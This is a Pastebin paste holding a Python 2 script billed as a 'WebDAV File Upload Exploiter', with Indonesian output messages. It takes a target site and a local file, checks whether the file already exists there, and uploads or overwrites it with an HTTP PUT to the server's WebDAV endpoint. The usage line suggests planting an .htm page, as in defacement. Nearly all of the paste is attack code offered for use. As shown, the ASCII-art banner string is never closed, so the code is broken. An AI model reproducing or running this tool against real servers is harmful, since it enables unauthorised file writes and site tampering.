Advertisement
Guest User

Webdav Termux

a guest
Oct 12th, 2017
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.63 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import requests
  4. import string
  5. import random
  6. import sys
  7. import os
  8.  
  9. os.system("clear")
  10.  
  11. print """
  12. \______ \/ _____/\_ ___ \
  13. | _/\_____ \ / \ \/
  14. | | \/ \\ \____
  15. |____|_ /_______ / \______ /
  16. \/ \/ \/
  17.  
  18. def webdav():
  19. sc = ''
  20. with open(sys.argv[2], 'rb') as f:
  21. depes = f.read()
  22. script = depes
  23. host = sys.argv[1]
  24. if not host.startswith('http'):
  25. host = 'http://' + host
  26. nama = '/'+sys.argv[2]
  27.  
  28.  
  29. print("[*] Upload File Nama : %s") % (sys.argv[2])
  30. print("[*] Uploading %d bytes, Script Baru") % len(script)
  31.  
  32. r = requests.request('put', host + nama, data=script, headers={'Content-Type':'application/octet-stream'})
  33.  
  34. if r.status_code < 200 or r.status_code >= 300:
  35. print("[!] Upload failed . . .")
  36. sys.exit(1)
  37. else:
  38. print("[+] File uploaded . . .")
  39. print("[+] PATH : "+host + nama)
  40.  
  41.  
  42. def cekfile():
  43. print("""
  44. [*] WebDAV File Upload Exploiter
  45. [*] RSC
  46.  
  47. """)
  48. print("[*] Cek File Di Target : "+sys.argv[1]+"/"+sys.argv[2])
  49. r = requests.get(sys.argv[1] +"/"+ sys.argv[2])
  50. if r.status_code == requests.codes.ok:
  51. print("[*] Di Temukan File Yg Sama Di Target . . .")
  52. tanya = raw_input("[!] Replace File Target ? [Y/N] > ")
  53. if tanya == "Y":
  54. webdav()
  55. else:
  56. print("[!] Exiting Tools . . .")
  57. sys.exit()
  58. else:
  59. print("[*] File Ga Di Target . . .")
  60. print("[*] Proses Upload Script lu . . .")
  61. webdav()
  62.  
  63.  
  64. if __name__ == '__main__':
  65. if len(sys.argv) != 3:
  66. print("\n[*] Usage: "+sys.argv[0]+" Target.com script mu.htm\n")
  67. sys.exit(0)
  68. else:
  69. cekfile()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement